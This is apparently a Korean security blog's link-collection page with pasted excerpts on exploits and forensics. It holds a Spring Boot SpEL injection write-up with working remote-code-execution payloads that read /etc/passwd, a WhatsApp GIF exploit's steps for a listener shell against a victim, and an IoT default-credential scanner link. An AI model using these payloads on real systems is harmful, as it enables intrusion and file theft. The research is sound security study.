https://googleprojectzero.blogspot.com/2019/11/bad-binder-android-in-wild-exploit.html?m=1

 

Bad Binder: Android In-The-Wild Exploit

Posted by Maddie Stone, Project Zero Introduction On October 3, 2019, we disclosed issue 1942 (CVE-2019-2215), which is a use-afte...

googleprojectzero.blogspot.com

https://bugs.chromium.org/p/project-zero/issues/detail?id=1942

Issue 1942: Android: Use-After-Free in Binder driver

 

 

1942 - project-zero - Project Zero - Monorail

 

bugs.chromium.org

 

 

블로그 이미지

wtdsoul

,

https://www.e13olf.me/2019/11/i0t-pr0be-iot-device-search-default.html?m=1

 

[root@e13olf]# : i0t-pr0be - IoT Device Search & Default Credential Scanner

A Python 3 script to automate search via Shodan, save IoT device query results and also scan for their respective default credentials. The script utilizes two main APIs; Shodan & Python Selenium. Shodan Shodan membership allows you to get 100 query credits

www.e13olf.me

https://github.com/e13olf/i0t-pr0be

 

e13olf/i0t-pr0be

IoT device search and default credential scanner. Contribute to e13olf/i0t-pr0be development by creating an account on GitHub.

github.com

https://github.com/mozilla/geckodriver/releases

 

mozilla/geckodriver

WebDriver for Firefox. Contribute to mozilla/geckodriver development by creating an account on GitHub.

github.com

 

블로그 이미지

wtdsoul

,

Spring Boot RCE

2019. 11. 21. 18:00

https://deadpool.sh/2017/RCE-Springs/

 

Deadpool's Security Blog

Hi, I'm Tushar. I'm a Musician, Magician & a nerd for Application Security. This blog is about some of the stuff I do

deadpool.sh

id=ab${12*12}cd

${(new%20java.lang.ProcessBuilder(%27calc%27)).start()}

 

https://github.com/vulhub/vulhub/blob/master/spring/CVE-2016-4977/README.md

 

GitHub - vulhub/vulhub: Pre-Built Vulnerable Environments Based on Docker-Compose

Pre-Built Vulnerable Environments Based on Docker-Compose - GitHub - vulhub/vulhub: Pre-Built Vulnerable Environments Based on Docker-Compose

github.com

This is my very frist blog post which was pending for a long time (almost a year). I would like to share a particular Remote Code Execution (RCE) in Java Springboot framework. I was highly inspired to look into this vulnerability after I read this article by David Vieira-Kurz, which can be found at his blog. His article talks about an RCE in the Spring Security OAuth framework and how the Whitelabel error page can be used to trigger code execution.

So this meant that any Whitelabel Error Page which reflected user input was vulnerable to it. This was because user input was being treated in as Springs Expression Language (SpEL). So during my pentest I had come across a particualr URL which triggered this Whitelabel Error page.

URL: https://<domain>/BankDetailForm?id=abc${12*12}abc

Error Page: 

My input of abc${12*12}abc was reflected as abc144abc. Then I wanted to perform a simple id and get the result on screen. I proceeded with the following payload:

URI: /BankDetailForm?id=${T(java.lang.Runtime).getRuntime().exec('id')}

Payload: ${T(java.lang.Runtime).getRuntime().exec('id')}

Error Page: 

Hmm…..I see nothing. The reflection gave back the input as it is. I double checked David’s blog to see if I was doing anything wrong. I was unsure as to what went wrong. Was the payload incorrect or did I make a mistake with the braces?? Nope. Everything was correct but I was still not getting my desired output. After fiddling around for a few hours I decided to fireup a demo Springs app and try to recreate the same scenario. I tried with a basic {5*5} and got 25 printed beautifully onscreen. Then I tried doing an id and bam!!!, it did not execute. I knew that I had to dig deeper because this was eating me up.

It got me thinking that quotes might have been encoded and might have broken the exec() command. Next thing was to look at the stack trace at the server and see what was wrong.

So after debugging I could see that single & double quotes were URL encoded. The exec() method clearly takes an argument as a string. Now I either need to find characters within the error code and take bits & pieces and pass it to exec using substring(), which is still pretty difficult or I need to find a way to pass my string without using double quotes or single qutoes. I wanted to go with the second approach. Java supports nested functions and if I’m able to find a method which can output id or cat etc/passwd, this would then be passed to exec() and then my payload would run successfully.

After going through some Java classes I stumbled upon the following:

java.lang.Character.toString(105) 
-> prints the characer 'i'

Now I need to concat the letter ‘d’ and I’m golden. Again concat() is a method and i’m going to nest the character.toString inside it as well.

java.lang.Character.toString(105).concat(T(java.lang.Character).toString(100))
-> prints the characters 'id'

Now crafting the final payload, I get the following:

https://<domain>/BankDetailForm?id=${T(java.lang.Runtime).getRuntime().exec(T(java.
lang.Character).toString(105).concat(T(java.lang.Character).toString(100)))}

The getRuntime() method returns the runtime object which we got on screen. Now we have some sort of a Blind RCE with which we can run any commands. I wanted to go a step further and get the output on screen (just for fun). At this point I wanted to do a cat etc/passwd and print the result onto the Whitelabel Error page. This meant for every character I would need to write its ASCII equivalent in the format concat(T(java.lang.Character).toString(<ascii value>)). Wrote a quick sloppy python script to acheive this:

Python Script:

#!/usr/bin/env python
from __future__ import print_function
import sys

message = raw_input('Enter message to encode:')

print('Decoded string (in ASCII):\n')
for ch in message:
   print('.concat(T(java.lang.Character).toString(%s))' % ord(ch), end=""), 
print('\n')

Now to get the output of cat etc/passwd in the response, we will use the IOUtils class and call the toString() method. We can pass an input stream to this method and get the contents of the stream as a response.

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).get
Runtime().exec(T(java.lang.Character).toString(99).concat(T(ja
va.lang.Character).toString(97)).concat(T(java.lang.Character).toStri
ng(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.la
ng.Character).toString(47)).concat(T(java.lang.Character).toString(10
1)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.C
haracter).toString(99)).concat(T(java.lang.Character).toString(47)).c
oncat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).
toString(97)).concat(T(java.lang.Character).toString(115)).concat
(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toStrin
g(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

The payload became quite huge. To sum up, I used the Apache IOUtils library. I converted cat etc/passwd into ASCII characters using the character class, passed this value to the exec() method and got the input stream and passed it to the toString() method of IOUtils class. Awesome isnt it. I tried this on the remote box and got the following.

All this hassle just to get around the single and double quotes. However I feel there might have been easier ways to go about it. Tackling out the hurdles and troubleshooting and debugging and finally getting what you want is such a serene feeling. This bug was a learning curve for me and I learned a lot of things alongside exploiting this. If you are using an older version of Spring Boot, I would highly advise you to upgrade it. The vulnerability has been patched since Spring Boot 1.2.8.

블로그 이미지

wtdsoul

,

https://leucosite.com/Edge-Local-File-Disclosure-and-EoP/?fbclid=IwAR2SNjX2wrwNSDx-U3rp-AL8lJSqvWMNWV_cRRYszb3R7KmqQx2t5EhqEeo

 

(CVE-2019-1356) Microsoft Edge - Local File Disclosure and Elevation of Privilege

Microsoft Edge - Local File Disclosure and EoP In this write up, I will be covering multiple bugs in the Edge (EdgeHTML) browser. The combination of these bugs will result in two distinct attacks, one being a local file disclosure and the other is an eleva

leucosite.com

 

In this write up, I will be covering multiple bugs in the Edge (EdgeHTML) browser. The combination of these bugs will result in two distinct attacks, one being a local file disclosure and the other is an elevation of privilege which is used to change any settings within 'about:flags'.

블로그 이미지

wtdsoul

,

https://lab.wallarm.com/php-remote-code-execution-0-day-discovered-in-real-world-ctf-exercise/?fbclid=IwAR3KP6XpSEQfwVWCsVDI1YigAbd2jGacF4v2U_8CECT5wQkkH0LWALlEJW8

 

PHP Remote Code Execution 0-Day Discovered in Real World CTF Exercise - Wallarm Blog

An unusual PHP script was found during an hCorem Capture the Flag task, revealing millions of everyday users are vulnerable to attack. Learn the deep tech.

lab.wallarm.com

 

We all know that Capture the Flag (CTF) tasks are synthetic. They are designed as games or puzzles for security professionals to solve in order to hone, demonstrate, and add skills.  It’s like merging chess, a maze, and a physically challenging 10K obstacle course, but for security aficionados.

“Computer security represents a challenge to education due to its interdisciplinary nature… Attack-oriented CTF competitions try to distill the essence of many aspects of professional computer security work into a single short exercise that is objectively measurable. The focus areas that CTF competitions tend to measure are vulnerability discovery, exploit creation, toolkit creation, and operational tradecraft.”

Trail of Bits on GitHub

 

블로그 이미지

wtdsoul

,

WhatsApp exploit poc

CVE 2019. 11. 21. 17:29

https://github.com/dorkerdevil/CVE-2019-11932?fbclid=IwAR3IodTITl0MXG58s2mekvTgeTV9-C3slkbxo2VhuQuVaf8zmlRkBYjj6RQ

 

dorkerdevil/CVE-2019-11932

double-free bug in WhatsApp exploit poc. Contribute to dorkerdevil/CVE-2019-11932 development by creating an account on GitHub.

github.com

 

double-free bug in WhatsApp exploit poc.

#Note: make sure to set the listner ip in exploit.c inorder to get shell

nc -lvp 5555 or whatever port.

and then compile.

gcc -o exploit egif_lib.c exploit.c

then run ./exploit and save the content to .gif

and send to victim.

#Source https://awakened1712.github.io/hacking/hacking-whatsapp-gif-rce/.

#Poc_Video https://drive.google.com/file/d/1T-v5XG8yQuiPojeMpOAG6UGr2TYpocIj/view.

I don't own this , if you have issues please contact the owner

'CVE' 카테고리의 다른 글

POODLE Attack  (0) 2020.08.09
CVE-2020-0796-RCE-POC  (0) 2020.07.14
CVE-2019-8805 - A macOS Catalina privilege escalation  (0) 2019.12.10
CVE-2019-2890  (0) 2019.12.10
Android Camera Apps  (0) 2019.11.21
블로그 이미지

wtdsoul

,

https://teamcrak.tistory.com/385

 

포트포워딩을 사용한 모의해킹 내부 침투

얼마전 포스팅 했던 CVE-2013-4011 AIX InfiniBand 취약점을 통해 본 고전해킹글을 보신 어떤 분께서 아래와 같은 질문을 하셨습니다. "A3는 모의해킹 시, 내부 침투를 위해 어떤 방법을 사용합니까?" 해당 포스팅..

teamcrak.tistory.com

 

 

 

 

 

 

블로그 이미지

wtdsoul

,

 

 

https://asecuritysite.com/forensics/magic

 

Digital Forensics Magic Numbers

 

asecuritysite.com

 

 

Description Extension Magic Number
Adobe Illustrator .ai 25 50 44 46 [%PDF]
Bitmap graphic .bmp 42 4D [BM]
Class File .class CA FE BA BE
JPEG graphic file .jpg FFD8
JPEG 2000 graphic file .jp2 0000000C6A5020200D0A [....jP..]
GIF graphic file .gif 47 49 46 38 [GIF89]
TIF graphic file .tif 49 49 [II]
PNG graphic file .png 89 50 4E 47 .PNG
WAV audio file .png 52 49 46 46 RIFF
ELF Linux EXE .png 7F 45 4C 46 .ELF
Photoshop Graphics .psd 38 42 50 53 [8BPS]
Windows Meta File .wmf D7 CD C6 9A
MIDI file .mid 4D 54 68 64 [MThd]
Icon file .ico 00 00 01 00
MP3 file with ID3 identity tag .mp3 49 44 33 [ID3]
AVI video file .avi 52 49 46 46 [RIFF]
Flash Shockwave .swf 46 57 53 [FWS]
Flash Video .flv 46 4C 56 [FLV]
Mpeg 4 video file .mp4 00 00 00 18 66 74 79 70 6D 70 34 32 [....ftypmp42]
MOV video file .mov 6D 6F 6F 76 [....moov]
Windows Video file .wmv 30 26 B2 75 8E 66 CF
Windows Audio file .wma 30 26 B2 75 8E 66 CF
PKZip .zip 50 4B 03 04 [PK]
GZip .gz 1F 8B 08
Tar file .tar 75 73 74 61 72
Microsoft Installer .msi D0 CF 11 E0 A1 B1 1A E1
Object Code File .obj 4C 01
Dynamic Library .dll 4D 5A [MZ]
CAB Installer file .cab 4D 53 43 46 [MSCF]
Executable file .exe 4D 5A [MZ]
RAR file .rar 52 61 72 21 1A 07 00 [Rar!...]
SYS file .sys 4D 5A [MZ]
Help file .hlp 3F 5F 03 00 [?_..]
VMWare Disk file .vmdk 4B 44 4D 56 [KDMV]
Outlook Post Office file .pst 21 42 44 4E 42 [!BDNB]
PDF Document .pdf 25 50 44 46 [%PDF]
Word Document .doc D0 CF 11 E0 A1 B1 1A E1
RTF Document .rtf 7B 5C 72 74 66 31 [{ tf1]
Excel Document .xls D0 CF 11 E0 A1 B1 1A E1
PowerPoint Document .ppt D0 CF 11 E0 A1 B1 1A E1
Visio Document .vsd D0 CF 11 E0 A1 B1 1A E1
DOCX (Office 2010) .docx 50 4B 03 04 [PK]
XLSX (Office 2010) .xlsx 50 4B 03 04 [PK]
PPTX (Office 2010) .pptx 50 4B 03 04 [PK]
Microsoft Database .mdb 53 74 61 6E 64 61 72 64 20 4A 65 74
Postcript File .ps 25 21 [%!]
Outlook Message File .msg D0 CF 11 E0 A1 B1 1A E1
EPS File .eps 25 21 50 53 2D 41 64 6F 62 65 2D 33 2E 30 20 45 50 53 46 2D 33 20 30
Jar File .jar 50 4B 03 04 14 00 08 00 08 00
SLN File .sln 4D 69 63 72 6F 73 6F 66 74 20 56 69 73 75 61 6C 20 53 74 75 64 69 6F 20 53 6F 6C 75 74 69 6F 6E 20 46 69 6C 65
Zlib File .zlib 78 9C
SDF File .sdf 78 9C

 

 

The following are network traces with file types contained in them:

  • PDF. For this use a filter of http contains "%PDF" or http contains "\x25\x50\x44\x46": Here
  • GIF. For this use a filter of http contains "GIF89a" or http contains "\x47\x49\x46\x38": Here
  • PNG. For this use a filter of http contains "\x89\x50\x4E\x47": Here
  • MIME. For this use a filter of smtp contains "/9j/4AAQSkZJRgA": Here
  • SMTP Trace with email number. For this use a filter of smtp matches "[a-zA-Z0-9._%+-]+@[a-zA-Z0-9._%+-]": Here
  • SMTP Trace with credit card number . To detect Visa credit card number, use a filter of smtp matches "5\\d{3}(\\s|-)?\\d{4}(\\s|-)?\\d{4}(\\s|-)?\\d{4}": Here

'포렌식' 카테고리의 다른 글

Word forensic format  (0) 2020.09.06
NTFS – MFT 엔트리 구조  (0) 2019.12.05
블로그 이미지

wtdsoul

,

https://lysine7.tistory.com/66?fbclid=IwAR3cnuk06fpzen6zCnNeRzUp7SNC4bcCj_dRMdV6-0gxwgvyjgQ2iJC6lh0

 

HWP + SlackBot Malware Analysis

개요 : 2019년11월4일 바이러스토탈에서 악성으로 추정되는 2개의 샘플이 헌팅되었으며 각각의 파일은 다른 파일명과 내용을 가지고 있고 바이러스 토탈의 서브미션 정보도 달랐지만 내부에 포함된 포스트스크립트..

lysine7.tistory.com

 

블로그 이미지

wtdsoul

,

bubictf-2019

대회 문제 & CTF 2019. 11. 21. 16:45

https://github.com/grigoritchy/bubictf-2019?fbclid=IwAR1D9dxheOb_WVVRNvUnCmWR9U8TwrqrfWfJq0jo7PQP0oojkHU6izQeDkE

불러오는 중입니다...

 

Challenges

  • Binary From Web

  • Custom Printf Pt.II

  • Hex Gaming

  • SickMode VM

 

'대회 문제 & CTF' 카테고리의 다른 글

CTF Write up 참고  (0) 2022.05.30
블로그 이미지

wtdsoul

,